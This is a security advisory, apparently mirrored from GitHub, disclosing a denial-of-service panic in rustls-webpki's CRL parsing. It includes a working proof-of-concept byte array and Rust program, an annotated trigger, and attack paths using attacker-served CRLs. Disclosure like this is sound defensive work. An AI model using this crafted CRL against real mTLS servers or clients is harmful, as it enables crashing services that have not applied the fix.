GHSA-82J2-J2CH-GFR8

Vulnerability from github – Published: 2026-04-24 16:20 – Updated: 2026-04-24 16:20
VLAI
Summary
rustls-webpki: Denial of service via panic on malformed CRL BIT STRING
Details

Summary

bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.

Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.

AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.

Details

bit_string_flags() in src/der.rs reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:

if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
    return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1];  // ← crash

misses the case padding_bits == 0 && raw_bits.is_empty(). When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic

Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615

PoC

Cargo.toml:

[dependencies]
rustls-webpki = "0.102.8"   # also reproduces on 0.103.12

src/main.rs:

fn main() {
    let crl: &[u8] = &[
        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
        0x03, 0x02, 0x00, 0x00,
    ];
    // Panics — never returns
    let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}

output:

thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615

Trigger

a0 10            -- cRLExtensions [0] EXPLICIT
  30 0e          -- SEQUENCE OF Extension
    30 0c        -- Extension SEQUENCE
      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
      04 05            -- OCTET STRING (extnValue)
        30 03          -- IssuingDistributionPoint SEQUENCE
          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
                       --   padding_bits=0, data=[]  ← TRIGGER

Impact

  • Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
  • Attack paths:
    • mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
    • TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls-webpki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.103.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls-webpki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.104.0-alpha.1"
            },
            {
              "fixed": "0.104.0-alpha.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:20:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() \u0026\u0026 padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // \u2190 crash\n```\nmisses the case `padding_bits == 0 \u0026\u0026 raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 \u2014 passes the \u003e 7 check \u2713\n- raw_bits = [] \u2014 passes is_empty() \u0026\u0026 != 0 check \u2713 (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow \u2192 usize::MAX\n- raw_bits[usize::MAX] \u2192 panic\n\n\nDebug:   thread \u0027main\u0027 panicked: attempt to subtract with overflow\nRelease: thread \u0027main\u0027 panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: \u0026[u8] = \u0026[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics \u2014 never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread \u0027main\u0027 panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  \u2190 TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs \u2014 common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker\u0027s CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
  "id": "GHSA-82j2-j2ch-gfr8",
  "modified": "2026-04-24T16:20:17Z",
  "published": "2026-04-24T16:20:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustls/webpki"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…